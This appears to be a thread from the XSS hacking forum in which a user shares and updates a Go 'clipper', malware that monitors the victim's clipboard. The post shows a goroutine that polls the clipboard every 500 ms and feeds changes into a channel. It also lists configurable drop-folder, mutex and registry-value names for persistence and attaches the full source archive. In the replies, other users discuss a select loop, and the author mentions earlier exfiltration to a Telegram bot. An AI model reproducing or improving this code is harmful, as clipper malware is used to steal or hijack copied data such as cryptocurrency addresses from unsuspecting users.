• XSS.stack #1 – первый литературный журнал от юзеров форума

[go-lang] clipper

-Instead of a for loop he now uses a channel.

Код:
go func() {
        for {
            clipboardText, _ := clipboard.ReadAll()
            if clipboardText != lastClipboardText {
                clipboardChan <- clipboardText
                lastClipboardText = clipboardText
            }
            time.Sleep(time.Millisecond * 500)
        }
    }()

- Now you can name Drop folder and Drop file.

Код:
    dirName  = "YourDir"
    fileName = "YourFile"
  mutexName    = "YourMutex"
    registryName = "YourRegistryValue"
 

Вложения

  • main.zip
    1.7 КБ · Просмотры: 28
the unused **time.After** case in the **select** statement

not being used ?? mistake?
Yes I trying to fix when it sended message to telegram bot but decided to just remove altogether but didn't notice that thanks
 
the unused **time.After** case in the **select** statement

not being used ?? mistake?
Disregard the previous comment the
Код:
case <-time.After(time.Millisecond * 500):
ensures the program is looping regardless if any data on clipboard or not
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх